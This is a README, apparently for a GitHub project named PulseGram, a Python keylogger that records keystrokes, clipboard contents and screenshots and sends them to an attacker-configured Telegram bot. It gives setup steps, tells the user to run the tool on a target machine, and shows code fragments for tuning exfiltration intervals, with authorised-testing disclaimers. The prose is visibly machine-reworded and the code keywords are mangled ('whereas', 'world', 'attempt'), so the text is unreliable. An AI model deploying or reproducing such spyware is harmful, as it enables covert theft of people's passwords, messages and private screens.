PulseGram is a keylogger built-in with a Telegram bot. It’s a monitoring software that captures keystrokes, clipboard content material, and screenshots, sending all the knowledge to a configured Telegram bot. It’s designed to be used in adversary simulations and safety testing contexts.
⚠️ Warning: This mission is for academic functions and safety testing in approved environments solely. Unauthorized use of this software could also be unlawful and is prohibited.
_____ _ _____
| __ | | / ____|
| |__) | _| |___ ___| | __ _ __ __ _ _ __ ___
| ___/ | | | / __|/ _ | |_ | '__/ _` | '_ ` _
| | | |_| | __ __/ |__| | | | (_| | | | | | |
|_| __,_|_|___/___|_____|_| __,_|_| |_| |_|Creator: Omar Salazar
Model: V.1.0
Options
- Keystroke seize: Information keystrokes and sends them to the Telegram bot.
- Clipboard monitoring: Sends the copied clipboard content material in real-time.
- Periodic screenshots: Takes screenshots and sends them to the bot.
- Error logs: Logs errors in an
errors_log.txtfile to facilitate debugging.
Set up
-
Clone the repository:
bash git clone https://github.com/TaurusOmar/pulsegram cd pulsegram -
Set up dependencies: Be sure to have Python 3 and pip put in. Then run:
bash pip set up -r necessities.txt -
Arrange the Telegram bot token: Create a bot on Telegram utilizing BotFather. Copy your token and paste it into the code in
most important.pythe place the bot is initialized. -
Copy yout ChatID
chat_id="131933xxxx"inkeylogger.py
Utilization
Run the software on the goal machine with:
python pulsegram.py
Modules
pulsegram.py
That is the primary file of the software, which initializes the bot and launches asynchronous duties to seize and ship knowledge.
Bot(token="..."): Initializes the Telegram bot along with your private token.asyncio.collect(...): Launches a number of duties to execute clipboard monitoring, screenshot seize, and keystroke logging.log_error: In case of errors, logs them in an errors_log.txt file.
helpers.py
This module accommodates auxiliary features that help the general operation of the software.
log_error(): Logs any errors in errors_log.txt with a date and time format.get_clipboard_content(): Captures the present content material of the clipboard.capture_screenshot(): Takes a screenshot and briefly saves it to ship it to the Telegram bot.
keylogger.py
This module handles keylogging, clipboard monitoring, and screenshot captures.
capture_keystrokes(bot): Asynchronous perform that captures keystrokes and sends the knowledge to the Telegram bot.send_keystrokes_to_telegram(bot): This perform sends the accrued keystrokes to the bot.capture_screenshots(bot): Periodically captures a picture of the display and sends it to the bot.log_clipboard(bot): Sends the contents of the clipboard to the bot.
Motion Configurations
Change the seize and knowledge sending time interval.
async def send_keystrokes_to_telegram(bot):
world keystroke_buffer
whereas True:
await asyncio.sleep(1) # Change the important thing sending interval
async def capture_screenshots(bot):
whereas True:
await asyncio.sleep(30) # Change the screenshot seize interval
attempt:
async def log_clipboard(bot):
previous_content = ""
whereas True:
await asyncio.sleep(5) # Change the interval to verify for clipboard adjustments
current_content = get_clipboard_content()
Safety Warning
This mission is for academic functions solely and for safety testing in your personal environments or with specific authorization. Unauthorized use of this software might violate native legal guidelines and privateness insurance policies.
Contributions
Contributions are welcome. Please guarantee to respect the code of conduct when collaborating.
License
This mission is licensed beneath the MIT License.
